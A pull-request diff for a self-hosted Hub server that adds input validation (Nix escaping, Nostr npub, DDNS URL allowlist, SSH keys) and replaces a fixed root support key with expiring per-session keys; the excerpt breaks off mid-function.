Merge pull request #424 from naturallaw777/copilot/security-hardening-final

Security hardening: key removal, session expiry, DDNS validation, journal allowlist, and production-backed tests

app/sovran_systemsos_web/security_helpers.py

@@ -0,0 +1,241 @@
+"""Sovran Hub — pure security validation helpers.
+
+This module contains the dependency-light security helper functions used by
+the Hub server.  Keeping them here allows tests to import and exercise the
+exact production implementations rather than maintaining separate copies.
+
+All functions in this module depend only on the Python standard library.
+"""
+
+from __future__ import annotations
+
+import base64
+import ipaddress
+import re
+import urllib.parse
+
+# ── Nix string escaping ────────────────────────────────────────────────────────
+
+def _nix_escape(value: str) -> str:
+    """Escape *value* for use inside a Nix double-quoted string literal.
+
+    Handles backslashes, double-quotes, newlines, carriage returns, tabs, and
+    Nix-specific anti-quotation sequences (``${...}``).  The returned value is
+    safe to embed as ``"<returned_value>"`` in generated Nix source.
+    """
+    value = value.replace("\\", "\\\\")
+    value = value.replace('"', '\\"')
+    value = value.replace("\n", "\\n")
+    value = value.replace("\r", "\\r")
+    value = value.replace("\t", "\\t")
+    value = value.replace("${", "\\${")
+    return value
+
+
+# ── Nostr npub validation (NIP-19 / Bech32) ───────────────────────────────────
+
+# Fast pre-filter: "npub1" followed by exactly 58 lower-case bech32 characters.
+NPUB_RE = re.compile(r"^npub1[023456789acdefghjklmnpqrstuvwxyz]{58}$")
+
+_BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
+_BECH32_GENERATOR = (0x3B6A57B2, 0x26508E6D, 0x1EA119FA, 0x3D4233DD, 0x2A1462B3)
+
+
+def _bech32_polymod(values: list[int]) -> int:
+    chk = 1
+    for value in values:
+        top = chk >> 25
+        chk = ((chk & 0x1FFFFFF) << 5) ^ value
+        for i in range(5):
+            if (top >> i) & 1:
+                chk ^= _BECH32_GENERATOR[i]
+    return chk
+
+
+def _bech32_hrp_expand(hrp: str) -> list[int]:
+    return [ord(c) >> 5 for c in hrp] + [0] + [ord(c) & 31 for c in hrp]
+
+
+def _bech32_create_checksum(hrp: str, data: list[int]) -> list[int]:
+    values = _bech32_hrp_expand(hrp) + data
+    polymod = _bech32_polymod(values + [0, 0, 0, 0, 0, 0]) ^ 1
+    return [(polymod >> (5 * (5 - i))) & 31 for i in range(6)]
+
+
+def _bech32_convertbits_decode(data: list[int]) -> list[int] | None:
+    """Convert a 5-bit integer sequence to 8-bit bytes, stripping padding."""
+    acc = 0
+    bits = 0
+    ret: list[int] = []
+    for value in data:
+        acc = (acc << 5) | value
+        bits += 5
+        while bits >= 8:
+            bits -= 8
+            ret.append((acc >> bits) & 0xFF)
+    if bits >= 5 or ((acc << (8 - bits)) & 0xFF):
+        return None  # invalid padding
+    return ret
+
+
+def _bech32_decode(bech: str) -> tuple[str, bytes] | None:
+    """Decode a bech32 string.  Returns ``(hrp, payload_bytes)`` or ``None``.
+
+    Verifies:
+    - Lowercase-only (mixed case rejected per BIP-173).
+    - Only valid bech32 charset characters.
+    - Valid checksum.
+    - Exactly one separator (``1``).
+    - Minimum data part length (≥ 8 chars = 6 checksum + ≥ 2 data).
+    """
+    if bech != bech.lower():
+        return None  # mixed case
+    sep = bech.rfind("1")
+    if sep < 1 or sep + 7 > len(bech):
+        return None
+    hrp = bech[:sep]
+    data_part = bech[sep + 1:]
+    if any(c not in _BECH32_CHARSET for c in data_part):
+        return None
+    decoded = [_BECH32_CHARSET.index(c) for c in data_part]
+    if _bech32_polymod(_bech32_hrp_expand(hrp) + decoded) != 1:
+        return None  # bad checksum
+    converted = _bech32_convertbits_decode(decoded[:-6])
+    if converted is None:
+        return None
+    return hrp, bytes(converted)
+
+
+def _validate_npub(value: str) -> bool:
+    """Return ``True`` iff *value* is a valid NIP-19 Nostr npub.
+
+    Checks:
+    - Lowercase ``npub`` HRP.
+    - Valid bech32 charset (no uppercase, no invalid chars).
+    - Valid bech32 checksum.
+    - Exactly 32 decoded payload bytes (256-bit public key).
+    - Retains the original regex as a fast pre-filter.
+    """
+    if not NPUB_RE.fullmatch(value):
+        return False
+    result = _bech32_decode(value)
+    if result is None:
+        return False
+    hrp, payload = result
+    return hrp == "npub" and len(payload) == 32
+
+
+# ── DDNS URL validation ────────────────────────────────────────────────────────
+
+_DDNS_URL_MAX_LEN = 2048
+_DDNS_CONTROL_RE = re.compile(r"[\x00-\x1f\x7f]")
+
+# Allowlist: only the official Njal.la provider hostnames are accepted for
+# DDNS update URLs.  Any other host would allow SSRF against the Hub's
+# internal network.
+_DDNS_ALLOWED_HOSTNAMES: frozenset[str] = frozenset(["njal.la", "www.njal.la"])
+
+
+def _validate_ddns_url(url: str) -> str:
+    """Validate *url* as a safe DDNS update URL and return it normalised.
+
+    Rules:
+    - Must be a valid URL parseable by urllib.parse.
+    - Scheme must be ``https`` (case-insensitive).
+    - No userinfo (credentials must not be embedded in the URL).
+    - No fragment.
+    - No control characters.
+    - Must not exceed ``_DDNS_URL_MAX_LEN`` bytes.
+    - Hostname must be the exact Njal.la provider hostname (njal.la or www.njal.la).
+    - Port must be absent or the default HTTPS port 443.
+    - No percent-encoded null bytes.
+
+    Raises ``ValueError`` with a safe (non-secret) message on failure.
+    """
+    if not url:
+        raise ValueError("DDNS URL must not be empty")
+    if len(url) > _DDNS_URL_MAX_LEN:
+        raise ValueError("DDNS URL exceeds maximum length")
+    if _DDNS_CONTROL_RE.search(url):
+        raise ValueError("DDNS URL contains control characters")
+    try:
+        parsed = urllib.parse.urlparse(url)
+    except Exception:
+        raise ValueError("DDNS URL could not be parsed")
+    if parsed.scheme.lower() != "https":
+        raise ValueError("DDNS URL must use the https scheme")
+    if parsed.username or parsed.password:
+        raise ValueError("DDNS URL must not contain credentials")
+    if parsed.fragment:
+        raise ValueError("DDNS URL must not contain a fragment")
+    if parsed.port is not None and parsed.port != 443:
+        raise ValueError("DDNS URL must use the default HTTPS port")
+    hostname = parsed.hostname or ""
+    if not hostname:
+        raise ValueError("DDNS URL must contain a hostname")
+    # Reject raw IP addresses
+    try:
+        ipaddress.ip_address(hostname)
+        raise ValueError("DDNS URL hostname must not be a raw IP address")
+    except ValueError as exc:
+        if "raw IP" in str(exc):
+            raise
+    # Allowlist: only Njal.la
+    if hostname.lower() not in _DDNS_ALLOWED_HOSTNAMES:
+        raise ValueError(
+            f"DDNS URL hostname is not an allowed Njal.la host "
+            f"(got {hostname!r})"
+        )
+    if "%00" in url.lower():
+        raise ValueError("DDNS URL must not contain encoded null bytes")
+    # Reject any remaining $ expressions — after ${IP} substitution there
+    # must be none.  Callers that store ${IP} placeholder URLs must substitute
+    # before calling this function.
+    if "$" in url:
+        raise ValueError("DDNS URL must not contain $ expressions")
+    # Require the exact /update/ path used by Njal.la
+    if parsed.path != "/update/":
+        raise ValueError("DDNS URL path must be exactly /update/")
+    return url
+
+
+# ── SSH public-key validation ─────────────────────────────────────────────────
+
+_SSH_PUBKEY_ALGORITHMS = frozenset([
+    "ssh-ed25519",
+    "ecdsa-sha2-nistp256",
+    "ecdsa-sha2-nistp384",
+    "ecdsa-sha2-nistp521",
+    "sk-ssh-ed25519@openssh.com",
+])
+
+
+def _validate_ssh_pubkey(key: str) -> str:
+    """Validate *key* as a single OpenSSH public key and return it normalised.
+
+    Accepts only single-line keys with a supported algorithm, valid base64
+    payload, and an optional comment.  Rejects options, multiple lines,
+    control characters, and unsupported algorithms.
+
+    Raises ``ValueError`` with a safe message on failure.
+    """
+    key = key.strip()
+    if not key:
+        raise ValueError("SSH public key must not be empty")
+    if _DDNS_CONTROL_RE.search(key):
+        raise ValueError("SSH public key contains control characters")
+    if "\n" in key or "\r" in key:
+        raise ValueError("SSH public key must be a single line")
+    parts = key.split()
+    if len(parts) < 2:
+        raise ValueError("SSH public key is malformed")
+    algo, b64 = parts[0], parts[1]
+    if algo not in _SSH_PUBKEY_ALGORITHMS:
+        raise ValueError(f"Unsupported SSH key algorithm: {algo!r}")
+    try:
+        decoded = base64.b64decode(b64, validate=True)
+    except Exception:
+        raise ValueError("SSH public key payload is not valid base64")
+    if len(decoded) < 20:
+        raise ValueError("SSH public key payload is too short")
+    return key

app/sovran_systemsos_web/server.py

@@ -19,10 +19,12 @@ import shutil
 import socket
 import subprocess
 import tempfile
+import threading
 import time
 import urllib.error
 import urllib.parse
 import urllib.request
+import uuid
 from threading import Lock
 
 from fastapi import FastAPI, HTTPException
@@ -37,6 +39,20 @@ from starlette.middleware.base import BaseHTTPMiddleware
 from .config import load_config, load_versions
 from . import systemctl as sysctl
 from . import nwc_hub_manager as _nwc_mgr
+from . import support_ops as _support_ops
+from .security_helpers import (
+    _nix_escape,
+    NPUB_RE,
+    _validate_npub,
+    _validate_ddns_url,
+    _validate_ssh_pubkey,
+    _DDNS_URL_MAX_LEN,
+    _DDNS_CONTROL_RE,
+    _DDNS_ALLOWED_HOSTNAMES,
+    _SSH_PUBKEY_ALGORITHMS,
+    _bech32_decode,
+    _bech32_convertbits_decode,
+)
 
 logger = logging.getLogger(__name__)
 
@@ -82,6 +98,10 @@ HUB_END     = "  # ── End Hub Managed ────────────
 DOMAINS_DIR = "/var/lib/domains"
 NOSTR_NPUB_FILE   = "/var/lib/secrets/nostr_npub"
 NJALLA_SCRIPT     = "/var/lib/njalla/njalla.sh"
+NJALLA_DDNS_URLS_FILE = "/var/lib/njalla/ddns_urls.json"
+
+# Nostr npub validation, SSH pubkey validation, DDNS URL validation, and
+# Nix escaping are imported from security_helpers (single source of truth).
 
 # Systemd service that rewrites the Sovran-managed /etc/hosts loopback block
 SOVRAN_HOSTS_SERVICE = "sovran-hosts-update.service"
@@ -123,7 +143,7 @@ LOGIN_FAIL_WINDOW = 60.0  # rolling window (seconds) for counting failures
 LOGIN_FAIL_MAX    = 10    # max failures in window before extra delay
 
 # Public paths that are accessible without a valid session
-_AUTH_EXEMPT_PATHS = {"/login", "/api/login", "/api/updates/status", "/api/rebuild/status", "/auto-login", "/api/ping", "/api/reboot"}
+_AUTH_EXEMPT_PATHS = {"/login", "/api/login", "/auto-login", "/api/ping"}
 # Prefixes for static assets required by the login page
 _AUTH_EXEMPT_PREFIXES = (
     "/static/css/",
@@ -140,11 +160,13 @@ SUPPORT_KEY_FILE = "/root/.ssh/sovran_support_authorized"
 AUTHORIZED_KEYS  = "/root/.ssh/authorized_keys"
 SUPPORT_STATUS_FILE = "/var/lib/secrets/support-session-status"
 
-# Sovran Systems tech support public key
-SOVRAN_SUPPORT_PUBKEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPxPF2Qm11FQxC20wydKtlmn/Bo07YnDda3b9/CyXxQP free@nixos"
-
 SUPPORT_KEY_COMMENT = "sovransystemsos-support"
 
+# Maximum duration for a support session in seconds (24 hours).
+# After this time the session is automatically expired on startup and on any
+# support status/wallet operation.
+SUPPORT_SESSION_MAX_SECONDS = 86400  # 24 hours
+
 # Dedicated restricted support user (non-root) for wallet privacy
 SUPPORT_USER              = "sovran-support"
 SUPPORT_USER_HOME         = "/var/lib/sovran-support"
@@ -166,6 +188,11 @@ PROTECTED_WALLET_PATHS: list[str] = [
     "/home",
 ]
 
+# Server-side independent expiry timer for the active support session.
+# Scheduled when a session is enabled; cancelled when disabled.
+_support_expiry_timer: threading.Timer | None = None
+_support_expiry_timer_lock = Lock()
+
 CATEGORY_ORDER = [
     ("infrastructure", "Infrastructure"),
     ("bitcoin-base",   "Bitcoin Base"),
@@ -1847,11 +1874,11 @@ def _write_hub_overrides(features: dict, nostr_npub: str | None, timezone: str |
         else:
             lines.append(f"  sovran_systemsOS.features.{feat_id} = lib.mkForce {val};")
     if nostr_npub:
-        lines.append(f'  sovran_systemsOS.nostr_npub = lib.mkForce "{nostr_npub}";')
+        lines.append(f'  sovran_systemsOS.nostr_npub = lib.mkForce "{_nix_escape(nostr_npub)}";')
     if timezone:
-        lines.append(f'  time.timeZone = lib.mkForce "{timezone}";')
+        lines.append(f'  time.timeZone = lib.mkForce "{_nix_escape(timezone)}";')
     if locale:
-        lines.append(f'  i18n.defaultLocale = lib.mkForce "{locale}";')
+        lines.append(f'  i18n.defaultLocale = lib.mkForce "{_nix_escape(locale)}";')
     hub_block = (
         HUB_BEGIN + "\n"
         + "\n".join(lines) + ("\n" if lines else "")
@@ -1882,8 +1909,20 @@ def _write_hub_overrides(features: dict, nostr_npub: str | None, timezone: str |
             return
         content = content[:last_brace] + "\n" + hub_block + content[last_brace:]
 
-    with open(CUSTOM_NIX, "w") as f:
+    # Atomic write: write to a temp file next to custom.nix then rename so the
-        f.write(content)
+    # file is never left in a partially-written state if the process is killed.
+    nix_dir = os.path.dirname(CUSTOM_NIX) or "."
+    fd, tmp_path = tempfile.mkstemp(dir=nix_dir, prefix=".custom_nix_tmp")
+    try:
+        with os.fdopen(fd, "w") as f:
+            f.write(content)
+        os.replace(tmp_path, CUSTOM_NIX)
+    except Exception:
+        try:
+            os.unlink(tmp_path)
+        except OSError:
+            pass
+        raise
 
 
 def _migrate_strip_deprecated_features() -> None:
@@ -1949,23 +1988,32 @@ def _is_sshd_feature_enabled() -> bool:
 # ── Tech Support helpers ──────────────────────────────────────────
 
 def _is_support_active() -> bool:
-    """Check if the support key is currently in authorized_keys or support user's authorized_keys."""
+    """Check if a per-session support key is currently installed."""
-    # Check support user's authorized_keys first
+    _expire_support_if_stale()
     try:
         with open(SUPPORT_USER_AUTH_KEYS, "r") as f:
-            if SUPPORT_KEY_COMMENT in f.read():
+            return bool(f.read().strip())
-                return True
-    except FileNotFoundError:
-        pass
-    # Fall back to root authorized_keys
-    try:
-        with open(AUTHORIZED_KEYS, "r") as f:
-            content = f.read()
-        return SUPPORT_KEY_COMMENT in content
     except FileNotFoundError:
         return False
 
 
+def _expire_support_if_stale() -> bool:
+    """If an active support session has passed its expiry time, disable it.
+
+    Returns ``True`` if a session was expired, ``False`` otherwise.
+    This is called automatically from ``_is_support_active()`` and from
+    startup, so expiry is enforced even if the user never calls
+    ``/api/support/disable``.
+    """
+    return _support_ops.expire_if_stale(
+        SUPPORT_STATUS_FILE,
+        clock_fn=time.time,
+        disable_fn=_disable_support,
+        audit_fn=_log_support_audit,
+        max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
+    )
+
+
 def _get_support_session_info() -> dict:
     """Read support session metadata."""
     try:
@@ -2116,60 +2164,104 @@ def _get_wallet_unlock_info() -> dict:
         return {}
 
 
-def _enable_support() -> bool:
+# The exact base64 blob of the historical fleet-wide root support key is defined
-    """Add the Sovran support public key to the restricted support user's authorized_keys.
+# in support_ops.LEGACY_ROOT_KEY_BLOB and used by _remove_legacy_root_support_key().
 
-    Falls back to root's authorized_keys if the support user cannot be created.
+
-    Applies POSIX ACLs to wallet directories to prevent access by the support
+def _remove_legacy_root_support_key() -> bool:
-    user without explicit user consent.
+    """One-time upgrade migration: remove the exact historical fleet-wide support key.
+
+    Identifies the key by its exact base64 blob, regardless of algorithm prefix
+    or comment field.  All other keys, blank lines, and comment lines are
+    preserved.  The file is written atomically.
+
+    Returns ``True`` if the file was updated, ``False`` if unchanged or absent.
+    """
+    return _support_ops.remove_legacy_root_key(
+        AUTHORIZED_KEYS,
+        _support_ops.LEGACY_ROOT_KEY_BLOB,
+        audit_fn=_log_support_audit,
+    )
+
+
+def _enable_support(pubkey: str) -> bool:
+    """Install a per-session SSH public key for the restricted support user.
+
+    The key is written only to the ``sovran-support`` account's
+    ``authorized_keys`` (atomically); root's ``authorized_keys`` is never
+    modified.  Applies POSIX ACLs to wallet directories to prevent access by
+    the support user without explicit user consent.
+
+    Args:
+        pubkey: A validated Ed25519/ECDSA OpenSSH public key string (single line).
     """
     try:
         use_restricted_user = _ensure_support_user()
 
         if use_restricted_user:
             os.makedirs(SUPPORT_USER_SSH_DIR, mode=0o700, exist_ok=True)
-            with open(SUPPORT_USER_AUTH_KEYS, "w") as f:
+            # Atomic write: mkstemp + os.replace
-                f.write(SOVRAN_SUPPORT_PUBKEY + "\n")
+            fd, tmp_keys = tempfile.mkstemp(
-            os.chmod(SUPPORT_USER_AUTH_KEYS, 0o600)
+                dir=SUPPORT_USER_SSH_DIR, prefix=".authorized_keys_tmp"
+            )
+            try:
+                with os.fdopen(fd, "w") as f:
+                    f.write(pubkey.strip() + "\n")
+                os.chmod(tmp_keys, 0o600)
+                try:
+                    pw = pwd.getpwnam(SUPPORT_USER)
+                    os.chown(tmp_keys, pw.pw_uid, pw.pw_gid)
+                except Exception:
+                    pass
+                os.replace(tmp_keys, SUPPORT_USER_AUTH_KEYS)
+            except Exception:
+                try:
+                    os.unlink(tmp_keys)
+                except OSError:
+                    pass
+                raise
             try:
                 pw = pwd.getpwnam(SUPPORT_USER)
-                os.chown(SUPPORT_USER_AUTH_KEYS, pw.pw_uid, pw.pw_gid)
                 os.chown(SUPPORT_USER_SSH_DIR, pw.pw_uid, pw.pw_gid)
             except Exception:
                 pass
         else:
-            # Fallback: add key to root's authorized_keys
+            # Support user could not be created; fail closed rather than
-            os.makedirs("/root/.ssh", mode=0o700, exist_ok=True)
+            # falling back to root's authorized_keys.
-            with open(SUPPORT_KEY_FILE, "w") as f:
+            return False
-                f.write(SOVRAN_SUPPORT_PUBKEY + "\n")
-            os.chmod(SUPPORT_KEY_FILE, 0o600)
-
-            existing = ""
-            try:
-                with open(AUTHORIZED_KEYS, "r") as f:
-                    existing = f.read()
-            except FileNotFoundError:
-                pass
-
-            if SUPPORT_KEY_COMMENT not in existing:
-                with open(AUTHORIZED_KEYS, "a") as f:
-                    f.write(SOVRAN_SUPPORT_PUBKEY + "\n")
-                os.chmod(AUTHORIZED_KEYS, 0o600)
 
         acl_applied = _apply_wallet_acls() if use_restricted_user else False
         wallet_paths = _get_existing_wallet_paths()
 
+        session_id = str(uuid.uuid4())
+        expires_at = time.time() + SUPPORT_SESSION_MAX_SECONDS
         session_info = {
+            "session_id": session_id,
             "enabled_at": time.time(),
             "enabled_at_human": time.strftime("%Y-%m-%d %H:%M:%S %Z"),
+            "expires_at": expires_at,
             "use_restricted_user": use_restricted_user,
             "wallet_protected": use_restricted_user,
             "acl_applied": acl_applied,
             "protected_paths": wallet_paths,
         }
-        os.makedirs(os.path.dirname(SUPPORT_STATUS_FILE), exist_ok=True)
+        # Atomic write of session metadata
-        with open(SUPPORT_STATUS_FILE, "w") as f:
+        status_dir = os.path.dirname(SUPPORT_STATUS_FILE)
-            json.dump(session_info, f)
+        os.makedirs(status_dir, exist_ok=True)
+        fd2, tmp_status = tempfile.mkstemp(dir=status_dir, prefix=".support-session-tmp")
+        try:
+            with os.fdopen(fd2, "w") as f:
+                json.dump(session_info, f)
+            os.replace(tmp_status, SUPPORT_STATUS_FILE)
+        except Exception:
+            try:
+                os.unlink(tmp_status)
+            except OSError:
+                pass
+            raise
+
+        # Schedule server-side independent expiry timer
+        _schedule_expiry_timer(session_id, expires_at)
 
         _log_support_audit(
             "SUPPORT_ENABLED",
@@ -2181,27 +2273,62 @@ def _enable_support() -> bool:
         return False
 
 
+def _schedule_expiry_timer(session_id: str, expires_at: float) -> None:
+    """Schedule a server-side timer to expire the support session at ``expires_at``.
+
+    Cancels any previously scheduled timer first.  The timer callback compares
+    the stored session_id and expires_at to prevent a stale timer (for an
+    older session) from revoking a replacement session.
+    """
+    global _support_expiry_timer
+    delay = max(0.0, expires_at - time.time())
+    with _support_expiry_timer_lock:
+        if _support_expiry_timer is not None:
+            _support_expiry_timer.cancel()
+        t = threading.Timer(delay, _auto_expire_support, args=[session_id, expires_at])
+        t.daemon = True
+        t.start()
+        _support_expiry_timer = t
+
+
+def _cancel_expiry_timer() -> None:
+    """Cancel the active server-side support expiry timer if one is running."""
+    global _support_expiry_timer
+    with _support_expiry_timer_lock:
+        if _support_expiry_timer is not None:
+            _support_expiry_timer.cancel()
+            _support_expiry_timer = None
+
+
+def _auto_expire_support(session_id: str, expected_expiry: float) -> None:
+    """Timer callback: expire the session only if it still matches session_id / expires_at.
+
+    A stale timer for an older session must never revoke a replacement session.
+    """
+    _support_ops.expire_if_stale(
+        SUPPORT_STATUS_FILE,
+        clock_fn=time.time,
+        disable_fn=_disable_support,
+        audit_fn=_log_support_audit,
+        session_id=session_id,
+        expected_expiry=expected_expiry,
+        max_session_seconds=float(SUPPORT_SESSION_MAX_SECONDS),
+    )
+
+
 def _disable_support() -> bool:
-    """Remove the Sovran support public key and revoke all wallet access."""
+    """Remove the per-session support key and restore wallet protection."""
     try:
+        # Cancel any pending expiry timer
+        _cancel_expiry_timer()
+
         # Remove from support user's authorized_keys
         try:
             os.remove(SUPPORT_USER_AUTH_KEYS)
         except FileNotFoundError:
             pass
 
-        # Remove from root's authorized_keys (fallback / legacy)
+        # Remove the dedicated key file (legacy path, best-effort)
-        try:
-            with open(AUTHORIZED_KEYS, "r") as f:
-                lines = f.readlines()
-            filtered = [l for l in lines if SUPPORT_KEY_COMMENT not in l]
-            with open(AUTHORIZED_KEYS, "w") as f:
-                f.writelines(filtered)
-            os.chmod(AUTHORIZED_KEYS, 0o600)
-        except FileNotFoundError:
-            pass
-
-        # Remove the dedicated key file
         try:
             os.remove(SUPPORT_KEY_FILE)
         except FileNotFoundError:
@@ -2213,8 +2340,8 @@ def _disable_support() -> bool:
         except FileNotFoundError:
             pass
 
-        # Re-apply ACLs to ensure wallet access is revoked
+        # Re-apply deny ACLs to restore wallet protection
-        _revoke_wallet_acls()
+        _apply_wallet_acls()
 
         # Remove session metadata
         try:
@@ -2229,19 +2356,14 @@ def _disable_support() -> bool:
 
 
 def _verify_support_removed() -> bool:
-    """Verify the support key is truly gone from all authorized_keys files."""
+    """Verify the support key is truly gone from the support user's authorized_keys."""
     try:
         with open(SUPPORT_USER_AUTH_KEYS, "r") as f:
-            if SUPPORT_KEY_COMMENT in f.read():
+            if f.read().strip():
                 return False
     except FileNotFoundError:
         pass
-    try:
+    return True
-        with open(AUTHORIZED_KEYS, "r") as f:
-            content = f.read()
-        return SUPPORT_KEY_COMMENT not in content
-    except FileNotFoundError:
-        return True  # No file = no key = removed
 
 
 # ── Routes ───────────────────────────────────────────────────────
@@ -3855,10 +3977,24 @@ async def api_support_status():
     }
 
 
+class SupportEnableRequest(BaseModel):
+    ssh_public_key: str
+
+
 @app.post("/api/support/enable")
-async def api_support_enable():
+async def api_support_enable(req: SupportEnableRequest):
-    """Add the Sovran support SSH key to allow remote tech support.
+    """Install a per-session SSH public key for the restricted support account.
-    Requires the sshd feature to be enabled first."""
+
+    The caller must supply a validated Ed25519 or ECDSA public key.  The key
+    is installed only for the ``sovran-support`` restricted user; root's
+    ``authorized_keys`` is never modified.  SSH must be enabled first.
+    """
+    # Validate the submitted public key before doing anything else
+    try:
+        validated_key = _validate_ssh_pubkey(req.ssh_public_key)
+    except ValueError as exc:
+        raise HTTPException(status_code=400, detail=f"Invalid SSH public key: {exc}")
+
     loop = asyncio.get_event_loop()
 
     # Gate: SSH feature must be enabled before support can be activated
@@ -3869,7 +4005,7 @@ async def api_support_enable():
             detail="SSH must be enabled first. Please enable SSH Remote Access, then try again.",
         )
 
-    ok = await loop.run_in_executor(None, _enable_support)
+    ok = await loop.run_in_executor(None, _enable_support, validated_key)
     if not ok:
         raise HTTPException(status_code=500, detail="Failed to enable support access")
     return {"ok": True, "message": "Support access enabled"}
@@ -4212,6 +4348,8 @@ async def api_features_toggle(req: FeatureToggleRequest):
         if req.feature == "haven":
             npub = (req.extra or {}).get("nostr_npub", "").strip()
             if npub:
+                if not _validate_npub(npub):
+                    raise HTTPException(status_code=400, detail="Invalid Nostr npub (must be npub1 followed by 58 bech32 characters with valid checksum)")
                 nostr_npub = npub
             elif not nostr_npub:
                 raise HTTPException(status_code=400, detail="nostr_npub is required for Haven")
@@ -4227,6 +4365,8 @@ async def api_features_toggle(req: FeatureToggleRequest):
     # Persist any extra fields (nostr_npub)
     new_npub = (req.extra or {}).get("nostr_npub", "").strip()
     if new_npub:
+        if not _validate_npub(new_npub):
+            raise HTTPException(status_code=400, detail="Invalid Nostr npub (must be npub1 followed by 58 bech32 characters with valid checksum)")
         nostr_npub = new_npub
         try:
             os.makedirs(os.path.dirname(NOSTR_NPUB_FILE), exist_ok=True)
@@ -4238,11 +4378,10 @@ async def api_features_toggle(req: FeatureToggleRequest):
     await loop.run_in_executor(None, _write_hub_overrides, features, nostr_npub, cur_tz, cur_locale)
 
     # When enabling a feature that relies on dynamic DNS, refresh the Njal.la
-    # records right away instead of waiting for the 15-minute cron tick.
+    # records right away instead of waiting for the 15-minute timer tick.
     # The newly enabled service needs DNS pointing at this machine as soon as
     # the rebuild finishes (cert issuance, reachability).
     if req.enabled and feat_meta.get("needs_ddns"):
-        await loop.run_in_executor(None, _ensure_njalla_script)
         await loop.run_in_executor(None, _run_njalla_ddns)
 
     # Clear the old rebuild log so the frontend doesn't pick up stale results
@@ -4349,75 +4488,107 @@ def _validate_safe_name(name: str) -> bool:
 
 _NJALLA_HEADER_SENTINEL = "# SOVRAN_NJALLA_HEADER"
 
+# Import the migration regex from support_ops so there is a single canonical
+# definition used by both the production server and the test suite.
+_LEGACY_NJALLA_CURL_RE = _support_ops._LEGACY_NJALLA_CURL_RE
 
-def _ensure_njalla_script() -> None:
-    """Create the base njalla.sh (shebang + public-IP lookup) if it is missing.
 
-    The Hub appends DDNS curl lines to this script, and those lines use ${IP}.
+def _migrate_legacy_njalla_script() -> None:
-    If the file exists only because of an append (e.g. the web app saved a
+    """Safely migrate legacy curl DDNS lines from ``njalla.sh`` to JSON store.
-    domain before the njalla-init systemd unit ran), it would lack the IP
+
-    lookup — ${IP} would expand empty during cron runs and the file couldn't
+    Reads ``njalla.sh`` without executing or sourcing it.  Parses only the
-    be executed directly. Keep in sync with modules/core/njalla.nix.
+    exact narrow curl-pattern lines (quoted or unquoted) written by old Hub
+    versions.  Delegates to ``support_ops.migrate_legacy_njalla_script`` so
+    tests can exercise the same code path.
+
+    After migration the script is archived with permissions 0o000 so it can
+    no longer be executed.  If persistence fails the script is left untouched.
     """
-    njalla_dir = os.path.dirname(NJALLA_SCRIPT)
+    _support_ops.migrate_legacy_njalla_script(
+        NJALLA_SCRIPT,
+        _validate_ddns_url,
+        _save_ddns_urls,
+        _load_ddns_urls,
+        audit_fn=_log_support_audit,
+    )
+
+
+def _load_ddns_urls() -> list[str]:
+    """Return the list of validated DDNS update URLs from the JSON store."""
+    try:
+        with open(NJALLA_DDNS_URLS_FILE, "r") as f:
+            data = json.load(f)
+        if isinstance(data, list):
+            return [u for u in data if isinstance(u, str)]
+    except (OSError, json.JSONDecodeError):
+        pass
+    return []
+
+
+def _save_ddns_urls(urls: list[str]) -> None:
+    """Persist the list of DDNS update URLs to the JSON store (atomic write)."""
+    njalla_dir = os.path.dirname(NJALLA_DDNS_URLS_FILE)
     if njalla_dir:
         os.makedirs(njalla_dir, exist_ok=True)
-    existing = ""
+    fd, tmp = tempfile.mkstemp(dir=njalla_dir, prefix=".ddns_urls_tmp")
     try:
-        with open(NJALLA_SCRIPT, "r") as f:
+        with os.fdopen(fd, "w") as f:
-            existing = f.read()
+            json.dump(urls, f)
-    except OSError:
+        os.replace(tmp, NJALLA_DDNS_URLS_FILE)
-        pass
+    except Exception:
-    # Use a unique sentinel instead of substring domain check — avoids
-    # CodeQL py/incomplete-url-substring-sanitization false positive and
-    # is more robust than matching "myip.opendns.com" anywhere in file.
-    if _NJALLA_HEADER_SENTINEL in existing:
-        return  # base header already present
-    # Backwards compat: old files have the dig line but no sentinel.
-    # Check for the dig marker without using a domain substring to avoid
-    # CodeQL py/incomplete-url-substring-sanitization.
-    if "IP=$(dig" in existing:
-        # Migrate old file by prepending sentinel for future checks
         try:
-            with open(NJALLA_SCRIPT, "r") as f:
+            os.unlink(tmp)
-                old_content = f.read()
-            with open(NJALLA_SCRIPT, "w") as f:
-                f.write(f"{_NJALLA_HEADER_SENTINEL}\n" + old_content)
-            os.chmod(NJALLA_SCRIPT, 0o755)
         except OSError:
             pass
-        return
+        raise
-    header = (
-        "#!/usr/bin/env bash\n"
-        f"{_NJALLA_HEADER_SENTINEL}\n"
-        "IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n\n"
-        "## Add DDNS entries below — one curl per line\n"
-        "## Managed via Sovran Hub web interface\n"
-    )
-    try:
-        with open(NJALLA_SCRIPT, "w") as f:
-            f.write(header + existing)
-        os.chmod(NJALLA_SCRIPT, 0o755)
-    except OSError:
-        pass
 
 
 def _run_njalla_ddns() -> None:
-    """Run the Njal.la DDNS script immediately (best-effort).
+    """Update Njal.la DDNS records immediately (best-effort).
+
+    Resolves the current public IP once, then invokes ``curl`` directly as a
+    subprocess for each stored DDNS update URL.  No shell interpolation is
+    performed and no user-controlled value is interpreted as shell syntax.
+    Each URL is revalidated through ``_validate_ddns_url()`` after ``${IP}``
+    substitution; URLs that fail validation are silently skipped.
 
     Called when a domain/DDNS entry is saved and when a DDNS-backed feature
     is enabled, so DNS is refreshed right away instead of waiting for the
-    15-minute cron job (see configuration.nix).
+    15-minute timer tick (see modules/core/njalla.nix).
     """
-    if not os.path.isfile(NJALLA_SCRIPT):
+    urls = _load_ddns_urls()
+    if not urls:
         return
+    # Resolve current public IP (best-effort; skip if unavailable)
+    public_ip = ""
     try:
-        subprocess.run(
+        ip_result = subprocess.run(
-            ["bash", NJALLA_SCRIPT], timeout=30, check=False,
+            ["dig", "@resolver4.opendns.com", "myip.opendns.com", "+short", "-4"],
-            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
+            capture_output=True, text=True, timeout=10, check=False,
         )
+        raw_ip = ip_result.stdout.strip().splitlines()[0] if ip_result.stdout.strip() else ""
+        # Validate strictly as a proper IPv4/IPv6 address before substitution
+        ipaddress.ip_address(raw_ip)
+        public_ip = raw_ip
     except Exception:
-        pass
+        public_ip = ""
+
+    if not public_ip:
